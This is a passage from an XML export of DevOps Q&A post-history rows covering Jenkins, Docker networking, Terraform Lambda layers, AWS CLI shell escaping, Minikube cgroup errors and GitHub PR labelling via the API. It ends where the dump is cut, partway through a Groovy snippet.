  <row Id="39510" PostHistoryTypeId="2" PostId="12879" RevisionGUID="ac976353-a12a-4873-be41-df592cc8795f" CreationDate="2020-11-29T21:22:19.970" UserId="4115" Text="Jenkins accepts [JUnit-formatted test results with the JUnit plugin](https://plugins.jenkins.io/junit/), so you could try [pylint-junit](https://pypi.org/project/pylint-junit/) to output JUnit-formatted results (I have not tried this myself).&#xD;&#xA;&#xD;&#xA;Also it looks like [a very similar question was asked and answered over on StackOverflow](https://stackoverflow.com/questions/41875412/use-pylint-on-jenkins-with-warnings-plugin-and-pipleine)." ContentLicense="CC BY-SA 4.0" />
  <row Id="39511" PostHistoryTypeId="2" PostId="12880" RevisionGUID="b2c8bfbe-4139-44df-9e55-f51410e56c4e" CreationDate="2020-11-29T21:37:13.087" UserId="24933" Text="I have a project with 3 containers (nginx, app, db).  The nginx is configured correctly and working fine from public internet for url luke.jdeation.com.&#xD;&#xA;&#xD;&#xA;The problem I am having is from one of the containers (app) I am unable to use curl or wget to connect to my url. I can ping the url fine,  just not using port 80 - it just timesout.&#xD;&#xA;&#xD;&#xA;Examples below,  any idea where I should start here?&#xD;&#xA;&#xD;&#xA;From the container (app),  ping works fine:&#xD;&#xA;&#xD;&#xA;    root@c2ac3dabc259:/app# ping luke.jdeation.com&#xD;&#xA;    PING luke.jdeation.com (68.183.107.254) 56(84) bytes of data.&#xD;&#xA;    64 bytes from 68.183.107.254 (68.183.107.254): icmp_seq=1 ttl=64 time=0.030 ms&#xD;&#xA;    64 bytes from 68.183.107.254 (68.183.107.254): icmp_seq=2 ttl=64 time=0.086 ms&#xD;&#xA;    64 bytes from 68.183.107.254 (68.183.107.254): icmp_seq=3 ttl=64 time=0.085 ms&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But if I try to do a wget,  it just timesout:&#xD;&#xA;&#xD;&#xA;    root@c2ac3dabc259:~# wget -v luke.jdeation.com&#xD;&#xA;    --2020-11-29 21:09:27--  http://luke.jdeation.com/ Resolving luke.jdeation.com (luke.jdeation.com)... 68.183.107.254 Connecting to&#xD;&#xA;    luke.jdeation.com (luke.jdeation.com)|68.183.107.254|:80... ^C  (&lt;-- the&#xD;&#xA;    ctl-c is me aborting,  it never connects)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And finally,  here is my docker file:&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;    &#xD;&#xA;      #-------------------------------------------------------------------&#xD;&#xA;      app:&#xD;&#xA;        build: ../jdeation/docker/php&#xD;&#xA;        volumes:&#xD;&#xA;          - ../:/app:cached&#xD;&#xA;          - ../jdeation/:/app/jdeation:cached&#xD;&#xA;          - ../opencart-jdeation/:/app/opencart-jdeation:cached&#xD;&#xA;          - ../jdeation/docker/php/php.ini:/usr/local/etc/php/php.ini&#xD;&#xA;          - ../jdeation/docker/php/www.conf:/usr/local/etc/php/www.conf&#xD;&#xA;        depends_on:&#xD;&#xA;          - db&#xD;&#xA;        env_file:&#xD;&#xA;          - .env&#xD;&#xA;        user: &quot;1000:1000&quot;&#xD;&#xA;    &#xD;&#xA;      #-------------------------------------------------------------------&#xD;&#xA;      nginx:&#xD;&#xA;        image: nginx:1.12-alpine&#xD;&#xA;        ports:&#xD;&#xA;          - 80:80&#xD;&#xA;          - 443:443&#xD;&#xA;        volumes:&#xD;&#xA;          #map the jdeation files to nginx&#xD;&#xA;          - ../:/app&#xD;&#xA;          - ../jdeation/:/app/jdeation&#xD;&#xA;          - ../opencart-jdeation/:/app/opencart-jdeation&#xD;&#xA;          - ./docker/nginx/vhost.conf:/etc/nginx/conf.d/vhost.conf&#xD;&#xA;        depends_on:&#xD;&#xA;          - app&#xD;&#xA;    &#xD;&#xA;      #-------------------------------------------------------------------&#xD;&#xA;      db:&#xD;&#xA;        image: mysql:5.7&#xD;&#xA;        volumes:&#xD;&#xA;          - ../:/app&#xD;&#xA;          - ../jdeation/docker/mysql/config.cnf:/etc/mysql/conf.d/config.cnf&#xD;&#xA;          - ../persistent_data_do_not_delete/mysql_data:/var/lib/mysql #where to persist the database file system&#xD;&#xA;        ports:&#xD;&#xA;          - 3306:3306&#xD;&#xA;        env_file:&#xD;&#xA;          - .env&#xD;&#xA;        environment:&#xD;&#xA;          MYSQL_ROOT_PASSWORD: ${MYSQL_PASSWORD}&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      default:&#xD;&#xA;        external:&#xD;&#xA;          name: jdeation&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39512" PostHistoryTypeId="1" PostId="12880" RevisionGUID="b2c8bfbe-4139-44df-9e55-f51410e56c4e" CreationDate="2020-11-29T21:37:13.087" UserId="24933" Text="Cannot connect to web server from container" ContentLicense="CC BY-SA 4.0" />
  <row Id="39513" PostHistoryTypeId="3" PostId="12880" RevisionGUID="b2c8bfbe-4139-44df-9e55-f51410e56c4e" CreationDate="2020-11-29T21:37:13.087" UserId="24933" Text="&lt;docker&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39514" PostHistoryTypeId="2" PostId="12881" RevisionGUID="17f4c6a1-6141-42e9-abf8-3412b2429a5f" CreationDate="2020-11-30T00:57:18.947" UserId="2845" Text="Often it seems to be assumed or implied that DevOps is simply the [Agile method](https://en.wikipedia.org/wiki/Agile_software_development) expanded beyond programming to things like Operations and Configuration as Code, and so forth. So, this has left me wondering: Can a classic [Waterfall method](https://en.wikipedia.org/wiki/Waterfall_model) incorporate CI/CD and Configuration as Code and still be considered truly a Waterfall software development method?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39515" PostHistoryTypeId="1" PostId="12881" RevisionGUID="17f4c6a1-6141-42e9-abf8-3412b2429a5f" CreationDate="2020-11-30T00:57:18.947" UserId="2845" Text="Can the Waterfall method leverage CI/CD+ and still be considered Waterfall?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39516" PostHistoryTypeId="3" PostId="12881" RevisionGUID="17f4c6a1-6141-42e9-abf8-3412b2429a5f" CreationDate="2020-11-30T00:57:18.947" UserId="2845" Text="&lt;agile&gt;&lt;waterfall&gt;&lt;method&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39517" PostHistoryTypeId="2" PostId="12882" RevisionGUID="0f6c3bdd-606a-449e-a168-c947ba2daa1e" CreationDate="2020-11-30T05:59:41.790" UserId="24649" Text="After researching this, i've found an [open issue][1] on grafana's github. At the time of writing its still in the backlog.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/grafana/grafana/issues/25205" ContentLicense="CC BY-SA 4.0" />
  <row Id="39518" PostHistoryTypeId="2" PostId="12883" RevisionGUID="55ccb302-391a-43bb-ad30-209484aa845f" CreationDate="2020-11-30T09:12:07.900" UserId="23218" Text="I am using terraform version 12.26 for AWS deployment. Whenever I try updating a lambda layer, the lambda layer version is incremented, but the older layer is deleted. Even though my current version of layer is for example 8, the older versions from 1 to 7 are automatically deleted.&#xD;&#xA;&#xD;&#xA;I am using steps as mentioned [here][1].&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_lambda_layer_version&quot; &quot;lambda_layer&quot; {&#xD;&#xA;      filename   = &quot;lambda_layer_payload.zip&quot;&#xD;&#xA;      layer_name = &quot;lambda_layer_name&quot;&#xD;&#xA;      compatible_runtimes = [&quot;nodejs12.x&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;How do I retain my older versions of layers?&#xD;&#xA;&#xD;&#xA;  [1]: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_layer_version" ContentLicense="CC BY-SA 4.0" />
  <row Id="39519" PostHistoryTypeId="1" PostId="12883" RevisionGUID="55ccb302-391a-43bb-ad30-209484aa845f" CreationDate="2020-11-30T09:12:07.900" UserId="23218" Text="Terraform deletes AWS lambda layers instead of keeping the older versions" ContentLicense="CC BY-SA 4.0" />
  <row Id="39520" PostHistoryTypeId="3" PostId="12883" RevisionGUID="55ccb302-391a-43bb-ad30-209484aa845f" CreationDate="2020-11-30T09:12:07.900" UserId="23218" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39521" PostHistoryTypeId="12" PostId="12883" RevisionGUID="b5f1f35b-5d9b-4197-84b5-6fd75523a0f2" CreationDate="2020-11-30T09:22:41.823" UserId="23218" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:23218,&quot;DisplayName&quot;:&quot;Sankalp Kotewar&quot;}]}" />
  <row Id="39522" PostHistoryTypeId="13" PostId="12883" RevisionGUID="277a0abf-56a4-44c1-b455-1dc445551d59" CreationDate="2020-11-30T09:54:29.393" UserId="23218" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:23218,&quot;DisplayName&quot;:&quot;Sankalp Kotewar&quot;}]}" />
  <row Id="39523" PostHistoryTypeId="5" PostId="12883" RevisionGUID="622d2fa7-af98-4548-9233-1acf4e553c06" CreationDate="2020-11-30T09:55:03.683" UserId="23218" Comment="added 74 characters in body" Text="I am using terraform version 12.26 for AWS deployment. Whenever I try updating a lambda layer, the lambda layer version is incremented, but the older layer is deleted. Even though my current version of layer is for example 8, the older versions from 1 to 7 are automatically deleted.&#xD;&#xA;&#xD;&#xA;I am using steps as mentioned [here][1].&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_lambda_layer_version&quot; &quot;lambda_layer&quot; {&#xD;&#xA;      filename   = &quot;lambda_layer_payload.zip&quot;&#xD;&#xA;      layer_name = &quot;lambda_layer_name&quot;&#xD;&#xA;      source_code_hash    = filebase64sha256(&quot;lambda_layer_payload.zip&quot;)&#xD;&#xA;      compatible_runtimes = [&quot;nodejs12.x&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;How do I retain my older versions of layers?&#xD;&#xA;&#xD;&#xA;  [1]: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_layer_version" ContentLicense="CC BY-SA 4.0" />
  <row Id="39524" PostHistoryTypeId="2" PostId="12884" RevisionGUID="39b1834f-bcdc-4505-805a-36a2f548b11f" CreationDate="2020-11-30T11:11:00.357" UserId="441" Text="I don't see why not.&#xD;&#xA;&#xD;&#xA;Sequential SDLC models, like waterfall, are about the organization of steps. The requirements are &quot;finalized&quot; before extensive design begins. The design is &quot;finalized&quot; before the implementation begins. System testing happens after the requirements are satisfied. Some waterfall-like models, such as the sashimi model with some overlap between these phases or waterfall-with-subprojects, are multiple waterfalls after the overall system requirements and architecture have been completed.&#xD;&#xA;&#xD;&#xA;There's nothing in the organization of these steps that would prevent continuous integration or configuration of code. Continuous deployment to a development environment is also possible, but continuous delivery or continuous deployment to production may or may not be possible, depending on the usability of interim builds before the requirements are complete. These practices can still be used once system implementation begins. CI and automated tests can help developers find issues during development before system integration and system testing activities begin. Configuration as Code can help with the configuration management of the system, allowing it to be versioned alongside the software system and rolled out to different test and production environments when it's time.&#xD;&#xA;&#xD;&#xA;The key difference between highly sequential models and iterative and incremental models is responding to feedback, not the practices that can be used. Some practices may not make as much sense to use, especially if they are about getting and responding to feedback. If you have &quot;finalized&quot; requirements and &quot;finalized&quot; designs before you can start getting feedback on the system, stakeholder feedback will likely change those requirements and/or designs. Because of the scope of the work of requirements and design and the impact on the built system, late changes are expensive." ContentLicense="CC BY-SA 4.0" />
  <row Id="39525" PostHistoryTypeId="2" PostId="12885" RevisionGUID="c5f58c53-e5ef-46e3-a099-008345e2739e" CreationDate="2020-11-30T14:42:17.370" UserId="17276" Text="I'm trying to run an AWS CLI command for a resource with a ! in its name.&#xD;&#xA;&#xD;&#xA;I'm doing this from Centos docker instance running on my local device a MAC and if I run &#xD;&#xA;&#xD;&#xA;    echo &quot;$SHELL&quot; &#xD;&#xA;&#xD;&#xA;it says it is using bash&#xD;&#xA;&#xD;&#xA;Using echo 'test!'  works for returning the value &#xD;&#xA;but testing in my CLI command it does not work&#xD;&#xA;&#xD;&#xA;    aws autoscaling put-scheduled-update-group-action --auto-scaling-group-name temp_asg --scheduled-action-name 'test!' --start-time 2020-12-06T12:00:00Z --min-size 0 --max-size 1 --desired-capacity 0 --region eu-west-1 --output json&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;returns &#xD;&#xA;bash: !`: event not found&#xD;&#xA;&#xD;&#xA;my AWS CLI version in the docker instance I'm running it from is&#xD;&#xA;aws-cli/1.16.251" ContentLicense="CC BY-SA 4.0" />
  <row Id="39526" PostHistoryTypeId="1" PostId="12885" RevisionGUID="c5f58c53-e5ef-46e3-a099-008345e2739e" CreationDate="2020-11-30T14:42:17.370" UserId="17276" Text="In the AWS CLI how do I treat a special character as a string?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39527" PostHistoryTypeId="3" PostId="12885" RevisionGUID="c5f58c53-e5ef-46e3-a099-008345e2739e" CreationDate="2020-11-30T14:42:17.370" UserId="17276" Text="&lt;amazon-web-services&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39528" PostHistoryTypeId="2" PostId="12886" RevisionGUID="d5b4247a-a3f2-4c01-82da-4fe65de22f2d" CreationDate="2020-11-30T15:20:59.157" UserId="17276" Text="I want something to pick up when I have misspelled variables and comments to save me some time when I'm checking my code and reduce the potential for any errors.&#xD;&#xA;&#xD;&#xA;I normally use IntelliJ IDE for Terraform on a MAC but also have VS code set up that I can use.&#xD;&#xA;&#xD;&#xA;Is there a plugin for either I could use or even a different tool?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39529" PostHistoryTypeId="1" PostId="12886" RevisionGUID="d5b4247a-a3f2-4c01-82da-4fe65de22f2d" CreationDate="2020-11-30T15:20:59.157" UserId="17276" Text="Is there a way to lint Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39530" PostHistoryTypeId="3" PostId="12886" RevisionGUID="d5b4247a-a3f2-4c01-82da-4fe65de22f2d" CreationDate="2020-11-30T15:20:59.157" UserId="17276" Text="&lt;terraform&gt;&lt;linting&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39531" PostHistoryTypeId="5" PostId="12886" RevisionGUID="e3b9f017-3c6a-4111-8787-702e578f1887" CreationDate="2020-11-30T15:26:30.903" UserId="17276" Comment="added 200 characters in body" Text="I'm hoping there is something to pick up when I have misspelled variables and comments to save me some time when I'm checking my code and reduce the potential for any errors.&#xD;&#xA;&#xD;&#xA;I normally use IntelliJ IDE for Terraform on a MAC but also have VS code set up that I can use.&#xD;&#xA;&#xD;&#xA;Is there a plugin for either I could use or even a different tool?&#xD;&#xA;I imaging variable might be difficult to lint due as I use underscores to separate words in my variable names so the tool would need to know to treat underscores as white space for linting purposes." ContentLicense="CC BY-SA 4.0" />
  <row Id="39532" PostHistoryTypeId="2" PostId="12887" RevisionGUID="4e3c7a6d-17f7-4103-82c5-2ad44ed8d58a" CreationDate="2020-11-30T16:49:59.133" UserId="24942" Text="I have an issue with deploying VMWare Tanzu Greenplum for Kubernetes (it's based on PostgreSQL) on the Minikube cluster. I wanted to use Minikube on Docker but for some reason, it does not work with that driver. I have checked other drivers, and I can tell that Greenplum is working with --vm-driver=kvm2, as well as with --vm-driver=none param.&#xD;&#xA;&#xD;&#xA;The command I use to initialize the Minikube cluster is `minikube start --kubernetes-version=v1.16.7 --feature-gates=&quot;AppArmor=false&quot; --extra-config=kubelet.cgroup-driver=systemd --force-systemd=true --vm-driver=docker`. I have added aditional params to make sure that contenerized OS will use the same driver for cgroup, but it still causes the problem during the startup of master node of Greenplum. How can I find out what causes this problem? Logs below.&#xD;&#xA;&#xD;&#xA;`cat /greenplum/data-1/pg_log/startup.log`:&#xD;&#xA;```&#xD;&#xA;2020-11-30 16:44:24.302193 UTC,,,p836,th-482052544,,,,0,,,seg-1,,,,,&quot;FATAL&quot;,&quot;XX000&quot;,&quot;cgroup is not properly configured: can't access directory '/sys/fs/cgroup/memory/gpdb/': No such file or directory&quot;,,,,,,,,&quot;permListCheck&quot;,&quot;resgroup-ops-linux.c&quot;,1041,sh: 1: addr2line: not found&#xD;&#xA;1    0x55cd0a5e36cb postgres errstart + 0x1fb&#xD;&#xA;2    0x55cd0a5e65dc postgres elog_finish + 0xcc&#xD;&#xA;3    0x55cd0a633a5a postgres &lt;symbol not found&gt; + 0xa633a5a&#xD;&#xA;4    0x55cd0a635510 postgres ResGroupOps_Bless + 0x60&#xD;&#xA;5    0x55cd0a6e7bcb postgres gpvars_assign_gp_resource_manager_policy + 0x5b&#xD;&#xA;6    0x55cd0a60ca01 postgres set_config_option + 0xd71&#xD;&#xA;7    0x55cd0a613740 postgres ProcessConfigFile + 0x490&#xD;&#xA;8    0x55cd0a613e27 postgres SelectConfigFiles + 0x2d7&#xD;&#xA;9    0x55cd0a3d6b74 postgres PostmasterMain + 0x674&#xD;&#xA;10   0x55cd0a045877 postgres main + 0x4b7&#xD;&#xA;11   0x7f27dfc0fb97 libc.so.6 __libc_start_main + 0xe7&#xD;&#xA;12   0x55cd0a05173a postgres _start + 0x2a&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Host system `docker info`:&#xD;&#xA;```&#xD;&#xA;Client:&#xD;&#xA; Debug Mode: false&#xD;&#xA;&#xD;&#xA;Server:&#xD;&#xA; Containers: 1&#xD;&#xA;  Running: 1&#xD;&#xA;  Paused: 0&#xD;&#xA;  Stopped: 0&#xD;&#xA; Images: 15&#xD;&#xA; Server Version: 19.03.13-ce&#xD;&#xA; Storage Driver: overlay2&#xD;&#xA;  Backing Filesystem: extfs&#xD;&#xA;  Supports d_type: true&#xD;&#xA;  Native Overlay Diff: false&#xD;&#xA; Logging Driver: json-file&#xD;&#xA; Cgroup Driver: systemd&#xD;&#xA; Plugins:&#xD;&#xA;  Volume: local&#xD;&#xA;  Network: bridge host ipvlan macvlan null overlay&#xD;&#xA;  Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog&#xD;&#xA; Swarm: inactive&#xD;&#xA; Runtimes: runc&#xD;&#xA; Default Runtime: runc&#xD;&#xA; Init Binary: docker-init&#xD;&#xA; containerd version: b321d358e6eef9c82fa3f3bb8826dca3724c58c6.m&#xD;&#xA; runc version: ff819c7e9184c13b7c2607fe6c30ae19403a7aff&#xD;&#xA; init version: fec3683&#xD;&#xA; Security Options:&#xD;&#xA;  seccomp&#xD;&#xA;   Profile: default&#xD;&#xA; Kernel Version: 5.9.11-3-MANJARO&#xD;&#xA; Operating System: Manjaro Linux&#xD;&#xA; OSType: linux&#xD;&#xA; Architecture: x86_64&#xD;&#xA; CPUs: 8&#xD;&#xA; Total Memory: 15.51GiB&#xD;&#xA; Name: manjaro&#xD;&#xA; ID: 54A5:2GAS:3WSX:JO3W:IQ3N:SVRE:PZAY:IIYU:H7AA:NYNP:FHSZ:5LD7&#xD;&#xA; Docker Root Dir: /var/lib/docker&#xD;&#xA; Debug Mode: false&#xD;&#xA; Registry: https://index.docker.io/v1/&#xD;&#xA; Labels:&#xD;&#xA; Experimental: false&#xD;&#xA; Insecure Registries:&#xD;&#xA;  127.0.0.0/8&#xD;&#xA; Live Restore Enabled: false&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`minikube ssh 'docker info'`:&#xD;&#xA;```&#xD;&#xA;Client:&#xD;&#xA; Debug Mode: false&#xD;&#xA;&#xD;&#xA;Server:&#xD;&#xA; Containers: 15&#xD;&#xA;  Running: 14&#xD;&#xA;  Paused: 0&#xD;&#xA;  Stopped: 1&#xD;&#xA; Images: 10&#xD;&#xA; Server Version: 19.03.13&#xD;&#xA; Storage Driver: overlay2&#xD;&#xA;  Backing Filesystem: extfs&#xD;&#xA;  Supports d_type: true&#xD;&#xA;  Native Overlay Diff: false&#xD;&#xA; Logging Driver: json-file&#xD;&#xA; Cgroup Driver: systemd&#xD;&#xA; Plugins:&#xD;&#xA;  Volume: local&#xD;&#xA;  Network: bridge host ipvlan macvlan null overlay&#xD;&#xA;  Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog&#xD;&#xA; Swarm: inactive&#xD;&#xA; Runtimes: runc&#xD;&#xA; Default Runtime: runc&#xD;&#xA; Init Binary: docker-init&#xD;&#xA; containerd version: 8fba4e9a7d01810a393d5d25a3621dc101981175&#xD;&#xA; runc version: dc9208a3303feef5b3839f4323d9beb36df0a9dd&#xD;&#xA; init version: fec3683&#xD;&#xA; Security Options:&#xD;&#xA;  seccomp&#xD;&#xA;   Profile: default&#xD;&#xA; Kernel Version: 5.9.11-3-MANJARO&#xD;&#xA; Operating System: Ubuntu 20.04.1 LTS (containerized)&#xD;&#xA; OSType: linux&#xD;&#xA; Architecture: x86_64&#xD;&#xA; CPUs: 8&#xD;&#xA; Total Memory: 15.51GiB&#xD;&#xA; Name: minikube&#xD;&#xA; ID: ULB6:2IRZ:G5CS:HFVZ:S3WD:X533:RCBU:GYU4:6UGZ:XSBZ:5NNG:SAPP&#xD;&#xA; Docker Root Dir: /var/lib/docker&#xD;&#xA; Debug Mode: false&#xD;&#xA; Registry: https://index.docker.io/v1/&#xD;&#xA; Labels:&#xD;&#xA;  provider=docker&#xD;&#xA; Experimental: false&#xD;&#xA; Insecure Registries:&#xD;&#xA;  10.96.0.0/12&#xD;&#xA;  127.0.0.0/8&#xD;&#xA; Live Restore Enabled: false&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="39533" PostHistoryTypeId="1" PostId="12887" RevisionGUID="4e3c7a6d-17f7-4103-82c5-2ad44ed8d58a" CreationDate="2020-11-30T16:49:59.133" UserId="24942" Text="How can I investigate an issue with cgroup inside Minikube on Docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="39534" PostHistoryTypeId="3" PostId="12887" RevisionGUID="4e3c7a6d-17f7-4103-82c5-2ad44ed8d58a" CreationDate="2020-11-30T16:49:59.133" UserId="24942" Text="&lt;docker&gt;&lt;postgresql&gt;&lt;minikube&gt;&lt;systemd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39535" PostHistoryTypeId="2" PostId="12888" RevisionGUID="2979b42c-0e92-492a-980c-91767450a7ab" CreationDate="2020-11-30T18:39:23.973" UserId="17276" Text="I found that if I put it in a script it sees it as a string and it's only an issue running directly from the terminal/command prompt but not an issue when running from a script with the header/shabang &#xD;&#xA;#!/bin/bash&#xD;&#xA;My final goal for this is for it to be part of a script so this has resolved my issue.&#xD;&#xA;&#xD;&#xA;Im still not 100% on the issue when directly in the terminal and don't know if it's specific to the shell I'm using?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39536" PostHistoryTypeId="2" PostId="12889" RevisionGUID="af058c7b-0dd6-4174-a661-e413f595cce2" CreationDate="2020-11-30T19:08:24.870" UserId="24944" Text="I've been working with a large company that currently disables the docker build cache for CI/CD.  Their justification is that they are managing many projects, so caching would be cumbersome.  &#xD;&#xA;&#xD;&#xA;This results in builds that are considerably slower than our local docker builds.  They also regularly hit limits in downloading from docker registries.  And the DevOp engineers have no incentive to optimize for caching, so the builds run poorly when running docker with a cache.&#xD;&#xA;&#xD;&#xA;Is the disabling of the docker build cache considered to be a common (or best) practice for large organizations?  Are there resources that spell out the best practices in such situations?  And if this is not the best place to ask this question, where should I go?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39537" PostHistoryTypeId="1" PostId="12889" RevisionGUID="af058c7b-0dd6-4174-a661-e413f595cce2" CreationDate="2020-11-30T19:08:24.870" UserId="24944" Text="Disabling of docker build cache - common practice for large organizations?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39538" PostHistoryTypeId="3" PostId="12889" RevisionGUID="af058c7b-0dd6-4174-a661-e413f595cce2" CreationDate="2020-11-30T19:08:24.870" UserId="24944" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39539" PostHistoryTypeId="50" PostId="12667" RevisionGUID="3e86967c-094f-47c2-ba9d-775990522b61" CreationDate="2020-12-01T03:08:05.770" UserId="-1" />
  <row Id="39540" PostHistoryTypeId="5" PostId="12862" RevisionGUID="4114b457-5cc3-408b-aef5-e8f94e1def61" CreationDate="2020-12-01T05:44:01.583" UserId="24896" Comment="added 151 characters in body" Text="I have a ready jenkins build parameters , I want to use/link the same in webpage UI (that to be created).&#xD;&#xA;Need help on - what are various possible way to achieve this ? any document , link would be more appreciated.&#xD;&#xA;I have attached the jenkins build parameter screen what i have .&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/9itrE.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="39541" PostHistoryTypeId="2" PostId="12890" RevisionGUID="88b467ec-1a7e-4b39-902a-da21505966b6" CreationDate="2020-12-01T09:35:26.417" UserId="24583" Text="I am trying to implement devops on databricks.&#xD;&#xA;&#xD;&#xA;I have completed [devops][1] implementation for databricks notebooks and dbfs files.&#xD;&#xA;&#xD;&#xA;I do have many databricks jobs running on my cluster based on schedule.&#xD;&#xA;&#xD;&#xA;Is there any way to implement devops process on the databricks jobs so that any change in any of the jobs will invoke build pipeline and deploy the same in another databricks instance.&#xD;&#xA;&#xD;&#xA;First of all just wanted to know whether it is possible to implement devops on databricks jobs.&#xD;&#xA;&#xD;&#xA;Any Leads Appreciated!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.opstrainerz.com/devops-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="39542" PostHistoryTypeId="1" PostId="12890" RevisionGUID="88b467ec-1a7e-4b39-902a-da21505966b6" CreationDate="2020-12-01T09:35:26.417" UserId="24583" Text="DevOps for Datbricks Jobs" ContentLicense="CC BY-SA 4.0" />
  <row Id="39543" PostHistoryTypeId="3" PostId="12890" RevisionGUID="88b467ec-1a7e-4b39-902a-da21505966b6" CreationDate="2020-12-01T09:35:26.417" UserId="24583" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39544" PostHistoryTypeId="2" PostId="12891" RevisionGUID="421e5c95-1962-48e8-85f5-12c17c553c77" CreationDate="2020-12-01T11:28:08.510" UserId="24953" Text="According to GitHub API user can add label to an issue using [this][1] POST request.&#xD;&#xA;&#xD;&#xA;I tried using this request but with PR number instead to automatically set label on PR. Here is the function I wrote:&#xD;&#xA;&#xD;&#xA;    def setLabel (String repository, List labels) {&#xD;&#xA;        try {&#xD;&#xA;            def response = httpRequest httpMode: 'POST',&#xD;&#xA;                        url: &quot;https:[Repo_URL]/${repository}/issues/${CHANGE_ID}/labels&quot;,&#xD;&#xA;                        authentication: 'ors_git_service_account',&#xD;&#xA;                        requestBody: &quot;&quot;&quot;{&#xD;&#xA;                            &quot;labels&quot;: labels&#xD;&#xA;                        }&quot;&quot;&quot;&#xD;&#xA;        } catch (e) {&#xD;&#xA;            wrap([$class: 'AnsiColorBuildWrapper', 'colorMapName': 'XTerm']) {&#xD;&#xA;                echo &quot;\u001B[31magdSlack.setLabels: '&quot; + e.toString() + &quot;'\u001B[0m&quot;&#xD;&#xA;            }&#xD;&#xA;            throw e&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;And the response I get is `HTTP/1.1 400 Bad Request`&#xD;&#xA;&#xD;&#xA;So I get that this request can't be used to labeling PRs. &#xD;&#xA;&#xD;&#xA;My question then is:&#xD;&#xA;&#xD;&#xA;**Is there other method which could be triggered from Jenkinsfile, to add or change PR label?**&#xD;&#xA;&#xD;&#xA;Closest thing to the question I asked was [this question][2]. Commenting API works on issues and PRs but that's not a case for labels.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.github.com/v3/issues/labels/#add-labels-to-an-issue&#xD;&#xA;  [2]: https://stackoverflow.com/questions/16744069/create-comment-on-pull-request" ContentLicense="CC BY-SA 4.0" />
  <row Id="39545" PostHistoryTypeId="1" PostId="12891" RevisionGUID="421e5c95-1962-48e8-85f5-12c17c553c77" CreationDate="2020-12-01T11:28:08.510" UserId="24953" Text="Jenkins - Add label to Pull Request via Github API" ContentLicense="CC BY-SA 4.0" />
  <row Id="39546" PostHistoryTypeId="3" PostId="12891" RevisionGUID="421e5c95-1962-48e8-85f5-12c17c553c77" CreationDate="2020-12-01T11:28:08.510" UserId="24953" Text="&lt;jenkins&gt;&lt;github&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39552" PostHistoryTypeId="2" PostId="12893" RevisionGUID="5fbf848c-8b8c-4b4d-be5e-f26f39a57329" CreationDate="2020-12-01T14:29:08.883" UserId="24953" Text="I made it work by changing the way `labels` argument is passed into `requestBody`.&#xD;&#xA;&#xD;&#xA;Turns out the list representation while interpolated into string is missing quotation marks around each list element.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    def setLabels (String repository, List label) {&#xD;&#xA;        try {&#xD;&#xA;            String labelsAsString = &quot;[\&quot;${label.join('&quot;, &quot;')}\&quot;]&quot;&#xD;&#xA;            def response = httpRequest httpMode: 'POST',&#xD;&#xA;                            url: &quot;[REPO_URL]/${repository}/issues/${CHANGE_ID}/labels&quot;,&#xD;&#xA;                            authentication: 'ors_git_service_account',&#xD;&#xA;                            requestBody: &quot;&quot;&quot;{&#xD;&#xA;                                &quot;labels&quot;: ${labelsAsString}&#xD;&#xA;                            }&quot;&quot;&quot;&#xD;&#xA;        } catch (e) {&#xD;&#xA;            wrap([$class: 'AnsiColorBuildWrapper', 'colorMapName': 'XTerm']) {&#xD;&#xA;                echo &quot;\u001B[31magdSlack.setLabels: '&quot; + e.toString() + &quot;'\u001B[0m&quot;&#xD;&#xA;            }&#xD;&#xA;            throw 